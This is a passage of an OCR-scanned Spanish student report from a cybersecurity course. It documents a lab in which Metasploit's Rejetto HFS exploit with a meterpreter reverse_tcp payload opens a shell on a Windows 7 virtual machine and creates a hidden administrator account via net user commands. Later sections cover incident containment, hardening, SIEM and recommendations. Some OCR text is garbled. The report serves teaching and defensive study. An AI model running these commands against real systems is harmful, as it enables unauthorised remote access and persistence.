link/loopback 00:@ 30 brd 00:00:0¢
i scope host lo
r preferred_lft forever

ferred_1ft forever
group
link/ether
inet
te eth@
valid_1ft ec _1ft SeC
64 scope link noprefixroute
valid_1ft forever preferred_lft forever

Fuente: Propia
Con esta herramienta llamada Metasploit Framework se va a realizar el exploit.

Imagen 20 — Ubicacién Metasploit Framework en Kali Linux

Ly 1Ly El g gterminal
Q|
M Favorites M metasploit framework

(3) Recently Used )
i & msf payload creator

I All Applications
- searchspLoit
@.l 01 - Information Gathering

social engineering toolkit
@ 02 - Vulnerability Analysis
sglmap

Fuente: Propia

Una vez iniciado el Metasploit se escribe el comando:

use exploit/Windows/http/rejetto_hfs_exec
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Imagen 21 — Comando para la seleccion del exploit para Rejetto

msf6 > use exploit/windows/http/rejetto_hfs_
Mo payload configured, defaulting to m1ndﬂm5fmete:pxﬂfﬂ:

msf6 exploit( ) > |
Fuente: Propia

El PAYLOAD se configura con el comando:

set PAYLOAD windows/x64/meterpreter/reverse_tcp

Imagen 22 — Comando para configurar parametro PAYLOAD

exploit( ) > set PAYLOAD windows/ /meterprete

PAYLOAD = window 64/meterpreter/reverse_tcp

Fuente: Propia

Veremos los parametros establecidos para el exploit con el comando:

show options

Imagen 23 — Revisar los parametros del exploit

msf6 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description

HTTPDELAY 10 no Seconds to wait before terminating web server

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target host(s), range CIDR identifier, or hosts file with sy
ntax 'file:<path>'

RPORT 80 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be a
n address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

TARGETURI / yes The path of the web application

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

Fuente: Propia

El RHOST que va ser la direccién IP del equipo con Windows 7 (192.168.10.16) y
para ello se escribe el comando:
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set RHOST 192.168.10.16
Seguido de LHOST y luego SRVHOST que serian la IP del Kali Linux:

set LHOST 192.168.10.12
set SRVHOST 192.168.10.12

Imagen 24 — Configuracion parametros RHOST, LHOST y SRVHOST del exploit

msf6 exploitl )} > set RHOST 192.168.10.16

olt( )} > se ST 192.168.18.12
192.168.10.12
msf6 exploit( } > set SRVHOST 192.168.10.12
SRVHOST = 192.168.10.12

Fuente: Propia
Para revisar lo asignado en los parametros ejecutamos de nuevo:

show options

Imagen 25 — Revisar los parametros configurados en el exploit

msf6 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description

HTTPDELAY 10 no Seconds to wait before terminating web server

Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS 192.168.10.16 yes The target host(s), range CIDR identifier, or hosts file with sy
ntax ‘file:<path>'

RPORT 80 yes The target port (TCP)

SRVHOST 192.168.10.12 yes The local host or network interface to listen on. This must be a
n address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

TARGETURI / yes The path of the web application

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.12 yes The listen address (an interface may be specified)
LPORT 444 yes The listen port

Fuente: Propia
Para realizar el exploit se ejecuta el comando:

exploit
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Se espera a que cargue, cree y abra la sesion:

Imagen 26 — Ejecucion del exploit

msf6 exploit( ) > exploit

ploits/windows/http/rejetto_h exec.rb:118: warning: URI.escap

Jusr et: : xploits/windows/http jetto_ rb:11@: warning: URI.escap

e is

2 e 44 — 192.168.10.16:49172) at -11 @

Sery stopped.
[!] This loit may require manual cleanup of YrHVPKZBKShUl.vbs' on the target
meterpret > I

Fuente: Propia
Para ensayar la conexion escribo el comando de Windows ip config

Imagen 27 — Ejecucioén comando ipconfig desde meterpreter

escritorio Intel(R) PRO

Interface 12

Name 2 1 AP de Microsoft
Hardware MAC : 5]

Fuente: Propia

Ya puedo ingresar con el comando shell
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Imagen 28 — Ejecu0|on de Shell en meterpreter

[Versi®n 6.1.7601]
2009 Microsoft Corporation. Reservados todos los

Fuente: Propla

derechos.

Ya con eso puedo ejecutar el mismo ipconfig pero ya directamente desde el
Windows 7.

Imagen 29 — Ejecucion ipconfig
ershusuarioc\Downloads>ipconfig
1p1.-3r|+ ig

Configuraci®n IP de Windows

Adaptador de Ethernet Conexi®n de ®rea local:

Sufijo DNS espec®fico pa
vé@nculo: di i¥n IPve 1
n IPv
M de su

Puerta de en e predeterminada . . . . . :

Adaptador de t¥nel isatap.{SBEBBED2-9BQ4-4799-BEE

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS espec®fico para la conexi®n. . :

C:\Usersh\usuario’Downloa

Fuente: Propia

Ahora me dispongo a crear un usuario, el cual tendrd como nombre AndresRendon
y seguido le pongo la contrasefia(opcional) 123456. Para ello ejecuto el comando:

net user AndresRendon 123456 /add

Imagen 30 — Creacion cuenta de usuario en Windows 7 de 64 bits

I‘Z:"'-..U5-=-r_-." u.—.l.mi:u" Downlo: r|-=T user AndresRendon 123456 /add

ectamente.

Fuente: Propia

Para verificar la creacion del usuario se realizan dos acciones, la primera con el
comando:

net user
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Imagen 31 — Verificar creacion de usuario
C:\Users\usuario\Downloads>net user

el user

Cuentas de usuario de \

Administrador AndresRendon Invitado
usuario
Se ha completado el comando correctamente.

Fuente: Propia

Luego directamente desde el Windows 7 dirigiendonos a: Panel de control / Cuentas
de usuario / Administrar otra cuenta, podemos ver:

Imagen 32 — Verificacion creacion de usuario desde Windows 7 de 64 bits
=1 B8 =X

@th{ « Cuentas de usuario » Administrar cuentas - | . | | Buscar en el Panel de control L l

Elegir la cuenta que desee cambiar

AndresRendon
Usuario estandar
Protegida por contrasefia

usuario
Administrador

Invitado
La cuenta de invitado esta desactivada

Crear una nueva cuenta

;Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
f‘g' Configurar Control parental

Ir a la pagina principal de Cuentas de usuaric

Fuente: Propia

Ahora para asignarle el perfil y los permisos de administrador, se ejecuta el
comando:

net localgroup administradores AndresRendon /add
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Nota: Se puede ejecutar el comando net localgroup para revisar los grupos
disponibles en el sistema.

Imagen 33 — Agregar al grupo de administrador el usuario creado

C:\Usersh\usuario\Downloads>net localgroup administradores AndresRendon /a
localgroup administradores AndresRendon /add

a completado el comando correctamente.

Fuente: Propia
Nuevamente verificamos en el Windows 7

Imagen 34 — Verificacion de asignacion administrador al usuario

@U'L‘}!‘ < Cuentas de usuaric » Administrar cuentas - | 3 | | Buscar en el Panel de control o) l

Elegir la cuenta que desee cambiar

AndresRendon
Administrador
Protegida por contrasefia

usuario
Administrador

Invitado
La cuenta de invitado esta desactivada

Crear una nueva cuenta

:Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
f‘g' Configurar Control parental
Ir a la pagina principal de Cuentas de usuario

Fuente: Propia

Con esto se puede comprobar que el exploit fue todo un éxito y que la vulnerabilidad
permitié acceder al equipo Windows 7 y crear un usuario administrador.
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ETAPA 4 - CONTENCION DE ATAQUES INFORMATICOS.

1. ¢Qué seria lo primero que indagaria y haria si llegara a encontrarse un ataque
en tiempo real? Especifique su respuesta con argumentos técnicos.

Es importante aclarar que la mayoria de los ataques son detectados o descubiertos
cuando han surgido efecto, ya llevan bastante camino recorrido o cuando han
logrado su cometido, sin embargo, hay que tener en cuenta que los escenarios y las
circunstancias pueden variar y es nuestra responsabilidad estan al margen de esto.
Al momento de encontrarse un ataque en tiempo real, desde mi papel como
profesional en ciberseguridad seria cortar la conexion de red, ya sea desde el
equipo o el medio por el cual el ataque se estaba realizando, por ejemplo: Si es por
medio de un computador lo desconectaria de la red. Mi primera labor es interrumpir
y garantizar que lo que se estaba realizando no tenga comunicacion con el autor
intelectual.

Un ataque en tiempo real puede generar mucha presion, ya que se encuentra la
duda de qué tanto afectd, qué era el ataque exactamente, cual o cuales eran sus
objetivos, por qué se hizo el ataque, consecuencias, etc. Es importante darle un
orden a cada accién o pasos a realizar. Una vez cortada dicha comunicacién la
organizacion u empresa debe ejecutar el plan de contingencia que tiene
debidamente elaborado, establecido y socializado para estos casos, igualmente esa
contingencia depende del ataque, si es como el ejemplo o el ejercicio pasado, el
ataque tiene un centro y es un equipo, pero si el ataque se hace por medio general
a una red, entonces las acciones van a ser mas extensas y los pasos van a ser
otros. Hay ataques que pueden ocasionar que los servicios se detengan por un
tiempo considerado, esto debe estar controlado, ya que el impacto puede ser muy
serio ocasionando pérdidas financieras.

También puede surgir la necesidad de apagar el equipo, finalizar procesos,
interrumpir transferencias, etc. Después de identificar la fuente del ataque y de que
este suceso se haya interrumpido, lo que sigue son los procesos de analisis,
informe, respuestas, recuperacion, solucion y toda la documentacion que esto
conlleva, ya que es necesario realizar la debida denuncia antes las autoridades y
esta debe ser explicita y clara en cuanto a lo que paso, lo que hizo, lo que afecto y
las consecuencias.

En la mayoria de los ataques la informacion o es alterada o es hurtada, por ende,

deben restablecerse las copias de seguridad o configuraciones necesarias para
reestablecer el sistemay los servicios. En otras ocasiones el ataque también genera
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desconfiguracion del sistema y/o dafios a sistema operativo, siendo necesario un
formateo y reinstalacion.

2. ¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red Team, qué
medidas de hardenizacion propondria para que el ataque no se repita?

Las medidas de hardenizacion que propondria para que el ataque no se repita
serian las siguientes:

- Tener instalado un sistema operativo actualizado.

- Activar las actualizaciones automaticas de sistema y confirmar la instalacion
de dichas actualizaciones.

- Instalar y Activar un Antivirus que proteja y escanee el sistema en tiempo
real.

- Activar el Firewall de Windows.

- Instalar un antispyware y configurar un andlisis del sistema mediante una
programacion.

- Desinstalar programas que no sean necesarios o de distribuidor dudoso.

- Tener un solo usuario con privilegios de administrador para que solo el
usuario indicado (técnico, ingeniero u otros) tenga acceso total al sistema.
Para iniciar sesion en el equipo tener un usuario invitado con una contrasefia
robusta y que no pueda realizar cambios en el sistema. De esta forma se
controla el acceso libre no solo del usuario que utiliza el equipo, sino de
cualquier persona que con malas intenciones vaya a utilizar el equipo.

- Cerrar los puertos que no van a ser utilizados por los procesos del usuario
para evitar dejar puertas de acceso a cualquier atacante.

- Realizar la debida documentacién y analisis de los programas que debe tener
el equipo con la previa verificacién de seguridad.

- Activar las copias de seguridad del equipo.

- El acceso remoto debe estar habilitado solo cuando el administrador del
sistema lo requiera y solo este puede manipularlo y configurarlo.

- Algo muy importante y que siempre debe establecerse es: Cambiar
peribdicamente la contrasefia de usuario del sistema.

3. ¢, Describa con sus palabras las diferencias entre un equipo Blueteam y un equipo
de respuesta a incidentes informéaticos?

El equipo Blueteam se encarga de analizar sistemas, vulnerabilidades, mitigar
riesgos, establecer estrategias, hacer seguimiento a los comportamientos del
sistema y evaluar amenazas, mientras que un equipo de respuesta a incidentes
informaticos actla frente un ataque ya realizado apoyandose con un debido informe
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construido. Un equipo de respuesta a incidentes informaticos son los encargados
de solucionar desde el incidente hasta la recuperacion de la informacién que se vio
afectada en el ataque. En conclusién, el equipo Bluteam se encarga se establecer
una defensa con un seguimiento dedicado a todo lo que concierne al sistema en
cuanto a seguridad informatica y un equipo de respuesta a incidentes informaticos
se encarga de dar enfrentar y solucion a un ataque ya realizado frente a un sistema.

4. ¢ Si dentro de un equipo Blueteam le indican que debe trabajar con CIS “Center
For Internet Security” usted lo utilizaria para qué fin?

Primero que todo utilizaria CIS (Center For Internet Security) para educarme y
educar a la organizacién sobre las prioridades que tiene la seguridad de un sistema,
las buenas costumbres, practicas, reacciones y aunque sea conocimiento técnico
puede ser un ambiente de socializacion importante para que las personas puedan
entender o al menos asimilar que por las redes hay un mundo lleno de muchas
cosas, tanto buenas como malas.

CIS lo utilizaria para poder establecer un buen analisis de vulnerabilidades basados
en una biblioteca de casos aportados y de medidas de seguridad establecidas, de
experiencias compartidas, de esta forma estaria analizando e implementando a
medida que hago las pruebas en el sistema de la organizacion las defensas
adecuadas para evitar ataques. Con CIS puedo implementar las buenas practicas
en cuanto a seguridad informética, estableciendo una documentacion completa y
basada en lo que corresponde Unicamente a la organizacion. Toda esta
documentacion no solo resalta aspectos como: Activos, herramientas, redes,
aplicaciones, privilegios, transferencias, archivos, sino que este ayuda a establecer
configuraciones necesarias para fortalecer la seguridad y el rendimiento de estos
en el sistema, estableciendo a medida monitoreo, estadisticas, analisis, resultados,
proteccion y mantenimiento.

No solo ayuda a establecer acciones seguras y de andlisis, sino a mantener una
estructura organizada en cuanto a controlar las acciones y los procesos del sistema
de una organizacion. Con esta implementacion se ven beneficiados no solo los
procesos sistematicos de la empresa, sino que también afecta positivamente a los
procesos de auditorias, certificaciones, rendicion de cuentas, balances generales,
resultados y decisiones que ayuden a la alta gerencia.
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5. Explique y redacte las funciones y caracteristicas principales de lo que es un
SIEM.

Por medio de SIEM (Security Information and Event Management) - Gestion de
Eventos e Informacion de Seguridad - se pueden detectar y prevenir amenazas
potenciales que pueden afectar la seguridad de un sistema, ayudando asi a tomar
las mejores decisiones para proteger el sistema. Por medio de SIEM se pueden
establecer informes detallados que conlleven a la generacién de estrategias por
parte de los profesionales de seguridad informatica para que el ataque no se lleve
a cabo y dar una respuesta oportuna antes de que se materialice.

SIEM trabaja segundo a segundo, no solo analizando las actividades externas de
un sistema sino las internas, abarcando todo el fluido sistematico, desde el
hardware, software y redes, los cuales constantemente estan realizando procesos
que para llevarse a cabo realizan “transferencia de datos”.

Lo importante de todo esto es el poder actuar antes de y no después de, ya que se
resalta la diferencia de arreglar algo y evitar que algo se dafie. De esta manera no
solo se est4 ganando tiempo, sino que se estan evitando pérdidas considerables en
todo lo que organizacionalmente pueda afectar.

Todos lo que realiza SIEM lo hace de forma automatizada, programada y en tiempo
real, evitando asi que haya un lapso de tiempo pasado por alto, costando asi una
infiltracion o el establecimiento de algo corrupto. Ademas de funcionar como un
sistema de analisis automatizado, tienes unas alertas establecidas para que las
acciones necesarias se empiecen a ejecutar cuanto antes, dando detalles de lo
encontrado, esto incluye detener y bloquear la o las amenazas encontradas de
forma automatica, dando otra ventaja a los profesionales en seguridad informatica
para realizar las acciones necesarias. SIEM no solo aporta en la deteccion de
amenazas sino en la verificacion de que las normas béasicas de seguridad de un
sistema se estén cumpliendo, ayudando asi a mantener o establecer un
infraestructura legal y adecuada. De esta forma los procesos de auditorias futuras
se veran beneficiadas, manejando procesos actualizados y acordes a lo establecido
por las normas.

6. Defina por lo menos 3 herramientas de contencion de ataques informaticos
“hardware o software”, recuerde que las herramientas de contencion son diferentes

a las herramientas de deteccion.

Servidor Proxy: Por medio de este se puede controlar todo lo que viaja por un
navegador web, desde el acceso a una pagina hasta el cifrado de la informacion y
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comunicacién entre los canales. Por medio de este se puede garantizar la
navegacion a los sitios seguros, autorizados y confiables.

VPN (Virtual Private Network) Red Virtual Privada: Por medio de este software
se pueden establecer privacidad en la navegacion entre red empresarial, cifrado de
datos y ocultamiento de ubicacion, direcciones IP, datos de sistema, transferencias
y archivos que viajen por la red, ya que la VPN se encarga de crear canales seguros
y de acceso controlado, donde se necesita de una autenticacion y una sesion
autorizada para poder entrar en este canal. De este modo no solo se garantiza lo
gue se trabaja en la red, sino que se evitan fugas e infiltraciones. Todo se maneja
con un cifrado que solo el remitente y el receptor podran entender.

Antivirus: No hay que ser un experto en seguridad informatica para darse cuenta
que lo primordial que debe tener un computador es un antivirus activo y actualizado.
Aunque estamos hablando de todo tipo de ataques en la red, el antivirus puede
detectar, bloguear y denegarle acceso a actividades o ejecuciones sospechosas,
cuenta con una extensa base de datos que constantemente se esta actualizando y
con recorrido en ataques ya realizados, exigiendo a las empresas creadoras de
estos antivirus a tener que actualizar las librerias, encontrar soluciones e
implementarlas en ellos.

Firewalls o Cortafuegos: Sistemas operativos como Windows cuentan con un
Firewall instalado y preconfigurados cuando este se instala en un computador. Este
cortafuegos se puede configurar y hacer mas robusto, pero hay cortafuegos
dedicados a servidores, los cuales abarcan muchos mas puertos y estan disefiados
para mantener el acceso controlado al sistema. Cerrando y controlando esos
puertos, las puertas de acceso a un sistema sin autorizaciones con cada vez menos
y elevan la dificultad de acceso a algun presunto atacante.

Seguridad WiFi: Una red puede ser atacada por medio de cualquier dispositivo que
esté conectada en ella y hoy en dia la mayoria de las conexiones a una red es por
medio del wifi, ya que con esto logramos una conexién inaldmbrica y de todos los
dispositivos que queramos. Conectamos todo tipo de dispositivos: Computadores,
celulares, tabletas, televisores, etc. Por eso es importante gestionar por medio del
proveedor de internet una conexion segura, de cifrado y de autenticacion para
conectarse en ella, sino seria una red libre y de acceso facil. Se recomienda que la
contrasefia de esta red tenga el niumero de caracteres indicado y que estos
caracteres sean variados (Mayusculas, minasculas, nimeros y algunos caracteres
especiales), asi se la encriptacion sera mas robusta y generara dificultad para aquel
gue desee infiltrarse o unirse a la red de forma no autorizada.
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Aungue como tal no es una herramienta de contencion, pero realizar copias de
seguridad del o de los sistemas y alojarlas en unidades diferentes al mismo equipo,
es un factor muy importante en toda estrategia informatica, porque practicamente
nos estariamos confiando de la implementacion de herramientas de seguridad, de
analisis, de pruebas y de que se tiene una defensa inquebrantable, que ya con esto
nunca tendremos un ataque y de que el sistema jamas sufrira dafios. Este seria un
grave error, ya que no se esta considerando posibilidades de que pasen cosas que
no se hayan contemplado y que las consecuencias sean gigantescas. Aparte las
copias de seguridad no solo van enfocadas a los ataques, sino a los dafios que
pueda surgir un sistema, ya sea por fallos eléctricos, por ciclo de vida del activo o
por causas que estén por fuera de lo previsto. Es mejor estar preparado para lo que
pueda que no pase, que lamentarse porque pasé y no se preparo.

Aspectos que aporten al desarrollo de estrategias de RedTeam & BlueTeam.

Luego de lo realizado en las etapas es importante recalcar la importancia en la
documentacion de todos los procesos, siendo miembro de RedTeam o BlueTeam,
ya que en ambos equipos las actividades, acciones o procedimientos deben estar
estrictamente detallados. Es importante tener por escrito las decisiones tomadas
desde la alta gerencia, pasando por reuniones, actas, 6rdenes y todos los procesos
gue se van a ejecutar. Cada accion y reaccion debe tenerse referenciado, sobre
todo en la parte ReadTeam que lo que se va hacer es ensuciar la red. Como
miembro de ReadTeam es importante recorrer todos los puertos que tiene un
sistema, analizar las herramientas con las que se puede trabajar, estructurar el paso
a paso, realizando el pentesting de manera ordenada y obviamente tener los
resultados con evidencias claras. Para tomar decisiones es importante exponer los
resultados y categorizarlos. Las acciones de ReadTeam pueden ser implementadas
en los procesos de auditorias, politicas de seguridad y mejoras de procesos
operativos.

Como miembro de BlueTeam lo mas importante es establecer una defensa que le
dé garantias al sistema no solo a sobrevivir a un ciberataque, sino a complicar que
se ejecute, ayudar a que se detecte, se neutralice y sobre todo fortalecer el sistema.
Sin embargo, las garantias no es solo el centro de trabajo, debe establecerse,
implementarse, desarrollarse y sobre todo socializarse un plan de contingencia, de
manera que el plan de reaccion frente a un ataque exitoso (sea cual sea la magnitud)
sea el adecuado para combatirlo y neutralizarlo.

La retroalimentacion en los procesos de cada equipo es importante para establecer
el éxito o la restructuracion de lo planeado desde el principio.
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LINK DEL VIDEO:
https://youtu.be/ElapWuB3Hcg
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https://youtu.be/E1apWuB3Hcg

CONCLUSIONES

Con la instalacién de la maquina virtual se puede generar un ambiente seguro para
la instalacion de los diferentes sistemas operativos, configurando los adaptadores
de red para que puedan ser parte de una misma red y haya conexion entre ellos.

Las leyes informaticas en Colombia tratan temas puntuales y aunque se considera
actualizarlas, también contamos con un codigo de ética COPNIA, el cual nos aclara
nuestros deberes y derechos como ingenieros.

El acuerdo de confidencialidad cuenta con muchos factores ilegales que no solo
afectan a la empresa, sino que estarian involucrando al profesional que lo estaria
firmando.

Vulnerar un articulo de la Ley 1273 no solo perjudica legalmente a una personal,
sino que impacta seriamente la hoja de vida, resaltando de forma negativa la ética
y los principios de un profesional en sistemas.

El factor salarial no depende de lo que legalmente estemos haciendo sino del cargo
y las responsabilidades que este conlleva. Esto es algo que mucha gente ignora al
ver muchos digitos en la oferta salarial.

Como miembro de un Redteam se realiza la identificacion de vulnerabilidades y la
explotacion de la misma, pero con la finalidad de explorar y conocer hasta donde
puede afectar esta falencia al sistema, asi que a medida que se va realizando y se
va avanzando se va generando un trayendo importante que debe ser estudiado.

Para obtener éxito con una vulnerabilidad, la explotacién de la misma debe manejar
una comunicacion constante y una configuracion previa de parametros que permitan
utilizar al maximo las herramientas disponibles.

El acceso a un equipo por media de una vulnerabilidad identificada puede
considerarse como la puerta de entrada no solo a un equipo sino a todo un sistema
y si la o las personas incorrectas lo descubren, los dafios pueden ser enormes.

Las organizaciones deben tener estructurado e implementado planes de
contingencia si se llega a presentar un atague informatico. Debe aclarase que un
plan de contingencia no tiene que ver con asegurarse que no ocurra un ataque sino
poder mitigarlo y finalizarlo antes de que se realice y si logra realizar algo poder
garantizar la continuidad de actividades mientras se da solucion.

El Blueteam debe realizar un analisis completo de un sistema, ya que de este
depende la solidez de la estrategia que se va a manejar y de la defensa que se va
a implementar.

41



Lo primordial al detectar un ataque es detenerlo, es crucial dar seguridad de que la
o las actividades que estaban realizando hayan finalizado por completo, ya luego
se realiza el andlisis, impactos y todo lo que tenga que ver con consecuencias y
respuestas, pero la prioridad es detener el ataque, para asi poder trabajar frente
algo finalizado y no algo activo.

Las actividades realizadas por Blueteam favorecen no solo al area de sistemas de

una organizacion, también a la alta gerencia, produccion, calidad y sobre todo
auditoria.
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RECOMENDACIONES

Mantenerse en constante consulta y asesoria sobre las leyes informaticas, ya que
de esta manera se evita llegar a tener conflictos legales por desinformacion.

Las pruebas que se deseen hacer sobre seguridad informatica es importante
realizarlas en un ambiente controlado y propio, como lo es una maquina virtual, ya
que realizarlo en un ambiente real puede generar problemas legales.

Leer cuidadosamente todo lo que va a llevar la firma, desde obligaciones hasta
compromisos. Si es necesario pedir asesoria, es mejor hacerlo que cometer un error
del cual sea complicado salir.

Investigar sobre la empresa a la cual se esta postulando es importante para conocer
la reputacion y de pronto encontrar sucesos que nos ayuden o a ganar confianza o
a desinteresarse por trabajar en ella.

Permanecer siempre centrados en la ética como profesionales, ya que mediante
esta podemos guiarnos de que lo que estamos haciendo no solo le hace bien a una
empresa sino a nuestro papel como profesionales.

Es importante mantener la documentacion de todo lo que se vaya a realizar,
incluyendo: solicitudes, actas, reuniones, procesos, autorizaciones, alcances,
objetivos, etc. De esta manera se establece una defensa legal en caso de que algun
incidente de este tipo suceda.

Para que las pruebas de explotacion tengan éxito es importante desactivar el firewall
y el antivirus del sistema operativo que va ser la victima.

La herramienta NMAP tiene bastantes opciones que nos permiten explorar la red y
dar detalle de muchos factores que pueden ser importantes a la hora de detectar un
puerto que sirva como entrada.

Todo equipo que haga parte de un sistema debe tener activas todas las
protecciones que hacen parte del sistema operativo, como lo son: Actualizaciones
automatica, firewall y antivirus; con esto muchas vulnerabilidades quedaran
resueltas. La instalacion y configuracion de estas herramientas es indispensable
para endurecer el sistema frente a la red, protegiendo asoé los procesos internos y
las actividades externas.
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Para garantizar el trabajo en una organizar es importancia establecer una VPN que
permita darle privacidad a todos los procesos que viajan por la red, de esta forma
se tiene el control de acceso y se puede monitorizar las actividades que se realicen
por medio o a través de esta.

Los equipos de una organizacion deben tener creadas cuentas de usuarios con los
cuales se controlen los privilegios al mismo sistema. Por ejemplo, es importante
tener configurado un administrador de sistema al cual solo tenga acceso el personal
correspondiente y otro usuario el cual tenga limitantes en cuanto a aspectos
diferentes para los que debe utilizarse. Cambiar las contrasefias de los usuarios
peribdicamente debe ser establecido para aumentar la seguridad.

Antes de ejecutar un exploit es importante verificar que los parametros estén
configurados, de no ser asi se debe hacer, ya que de estos depende que el exploit
tenga claro quién va ser la maquina atacante, la victima, el puerto y qué tipo de
exploit se va a ejecutar.

Todos los procesos de un ataque de vulnerabilidad deben quedar documentados,
el paso a paso, capturas de pantalla, las pruebas y los resultados de estas. Es
importante realizar lo que mas se pueda una vez un exploit tenga éxito, ya que con
este se identifica el alcance del mismo.

Investigar qué tanto se puede hacer mediante el puerto 80 y como las herramientas
de Kali Linux permiten realizar un constante analisis y monitoreo de las
vulnerabilidades que se pueden presentar en un sistema operativo con la
disponibilidad de este puerto.

Cuando se vaya a instalar un programa en el equipo, hay que estar seguros de que
el fabricante es confiable y que la instalacion si sea del programa deseado.

Para establecer seguridad en un sistema es importante tener activo el firewall y
tener instalado un antivirus, no importa que sea gratuito, este ayudara a identificar,
aunque sea las amenazas mas basicas que pueden ser perjudiciales.

Actualmente muchos ataques informaticos se presentan en la red y los sistemas
operativos trabajan para sacar actualizaciones que ayuden a detectar y controlar
estos ataques, por eso es importante tener activas e instaladas las actualizaciones
automaticas del sistema operativo.

Realizar copias de seguridad del sistema y alojarlas en un almacenamiento externo
por si llega a presentarse un ataque que requiera formatear un equipo.
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